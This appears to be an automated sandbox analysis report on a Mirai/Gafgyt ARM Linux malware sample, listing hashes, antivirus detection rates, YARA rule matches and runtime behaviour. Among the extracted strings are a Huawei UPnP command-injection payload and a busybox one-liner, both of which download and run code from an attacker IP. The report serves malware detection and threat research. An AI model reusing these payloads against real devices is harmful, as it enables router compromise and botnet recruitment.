Linux Analysis Report
2FsS4ASMcO.elf

Overview

General Information

Sample name: 2FsS4ASMcO.elf
renamed because original name is a hash value
Original sample name: b19e780e32a0cf6b0ef1d14fbb939e55.elf
Analysis ID: 1531364
MD5: b19e780e32a0cf6b0ef1d14fbb939e55
SHA1: 488e09cf842d4e80c54e401a055edcc13dd3afdb
SHA256: 8dd0bc5b9880239d5e74934d37027a66b8a348d5ca3923fb97f1e4a8e9a79b5f
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 2FsS4ASMcO.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: 2FsS4ASMcO.elf ReversingLabs: Detection: 68%
Source: 2FsS4ASMcO.elf Virustotal: Detection: 61% Perma Link
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: 2FsS4ASMcO.elf String found in binary or memory: http://107.175.31.202/bins/x86
Source: 2FsS4ASMcO.elf String found in binary or memory: http://107.175.31.202/zyxel.sh;
Source: 2FsS4ASMcO.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 2FsS4ASMcO.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 2FsS4ASMcO.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 2FsS4ASMcO.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5552.1.00007fba80017000.00007fba8002d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5552.1.00007fba80017000.00007fba8002d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: 2FsS4ASMcO.elf PID: 5552, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 2FsS4ASMcO.elf PID: 5552, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.175.31.202 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://107.175.31.202/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: 2FsS4ASMcO.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 2FsS4ASMcO.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5552.1.00007fba80017000.00007fba8002d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5552.1.00007fba80017000.00007fba8002d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: 2FsS4ASMcO.elf PID: 5552, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 2FsS4ASMcO.elf PID: 5552, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: classification engine Classification label: mal80.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/2FsS4ASMcO.elf (PID: 5552) Queries kernel information via 'uname': Jump to behavior
Source: 2FsS4ASMcO.elf, 5552.1.000055a9a54b0000.000055a9a55de000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: 2FsS4ASMcO.elf, 5552.1.00007fff4db6c000.00007fff4db8d000.rw-.sdmp Binary or memory string: yx86_64/usr/bin/qemu-arm/tmp/2FsS4ASMcO.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/2FsS4ASMcO.elf
Source: 2FsS4ASMcO.elf, 5552.1.000055a9a54b0000.000055a9a55de000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: 2FsS4ASMcO.elf, 5552.1.00007fff4db6c000.00007fff4db8d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: 2FsS4ASMcO.elf, 5552.1.00007fff4db6c000.00007fff4db8d000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 2FsS4ASMcO.elf, type: SAMPLE
Source: Yara match File source: 5552.1.00007fba80017000.00007fba8002d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2FsS4ASMcO.elf PID: 5552, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 2FsS4ASMcO.elf, type: SAMPLE
Source: Yara match File source: 5552.1.00007fba80017000.00007fba8002d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2FsS4ASMcO.elf PID: 5552, type: MEMORYSTR
windows-stand
⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true